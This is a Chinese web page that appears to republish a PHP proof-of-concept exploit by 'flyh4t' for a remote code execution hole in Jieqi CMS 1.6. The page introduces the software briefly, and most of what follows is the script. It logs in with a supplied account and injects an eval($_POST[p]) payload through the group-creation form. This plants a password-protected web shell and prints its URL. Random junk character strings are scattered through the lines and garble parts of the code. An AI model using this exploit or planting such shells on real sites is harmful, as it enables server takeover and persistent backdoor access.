杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。
3 a2 D/ E* G; ?. L6 m9 w: T1 E a0 g& \" R: r# Q
/ R7 S$ w. ]6 i% O- s" s% b该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。. z9 G/ R. |' Z' O9 {; c* E) @) ~. o
需要有一个能创建圈子的用户。
6 }& y# I3 _* b, J0 R1 D K5 \
9 I Z4 L8 j1 o: N0 B3 L" A/ p<?php3 h, {$ q9 I% B6 C8 `- j9 _
Z3 L9 p2 K# C- T* m
print_r('
/ v8 V' L- ]; k0 d1 S: i+---------------------------------------------------------------------------+
1 X* Q' d- L, eJieqi CMS V1.6 PHP Code Injection Exploit
, [6 ~2 _( U0 Yby flyh4t6 e. q! z( G$ K# V0 W0 D
mail: phpsec at hotmail dot com
5 i+ |$ V2 f+ P% N5 k9 fteam: http://www.wolvez.org
+ R, C1 |; G4 q6 [! g+---------------------------------------------------------------------------++ U* v2 Z! f# }2 |2 @
'); /**
6 @1 Q% s- i* V# O0 u; f * works regardless of php.ini settings
7 q' g8 o' I$ N: U2 @ @*/ if ($argc < 5) { print_r('
' v, n. Y: }' C. Q+---------------------------------------------------------------------------+" i" c. D5 a% {! c6 W. i- y; F
Usage: php '.$argv[0].' host path username
; x' q* c* I8 B# T0 H: vhost: target server (ip/hostname)
2 d9 E' ?6 R. e6 U- Ypath: path to jieqicms
: N0 D$ a; t7 T/ Xuasename: a username who can create group
b1 Q' L. i$ x5 }Example: k# t0 ~) ~0 H, M: {* o' b' j# q
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password, J3 L# d! a/ H; F1 w
+---------------------------------------------------------------------------+" b; \& f9 e }" S2 P6 g
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
7 S% Q/ b& D) T* bContent-Disposition: form-data; name="gname"
_8 _' C0 I! Z
2 ?# y( Q/ l: t6 o9 G4 L'; $params .="';"; $params .='eval($_POST[p]);//flyh4t0 s5 r1 c8 w% Z! `
-----------------------------23281168279961( p+ Y$ ?! y4 ?& o: U
Content-Disposition: form-data; name="gcatid"2 Y1 i7 C) ~' P, s1 y X
2 Z4 U8 D6 r. t1) E$ [( Q5 s3 y2 w2 ^$ o
-----------------------------23281168279961
; r$ d& Q D* b* P) ~8 \Content-Disposition: form-data; name="gaudit"6 b: t/ [+ P8 ?0 ]' @0 S# x
. J2 M! k {$ f: M) G- X- Z1 v1
# | C% n; d( x2 d/ [' V5 D( R$ Y-----------------------------23281168279961
7 r$ A4 r2 P j4 @- v0 k5 UContent-Disposition: form-data; name="gbrief"
( X* K/ [% w. e3 E5 A- F. M' I/ o 8 ]6 O6 R, a. e
1+ [- V2 y r: U* X" J4 b% }
-----------------------------23281168279961--; S5 J" a/ l2 g: T% e" z7 G# }: e
'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com; M( n: T3 F* H
9 l1 Y Y" L$ o5 o8 R
preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url; |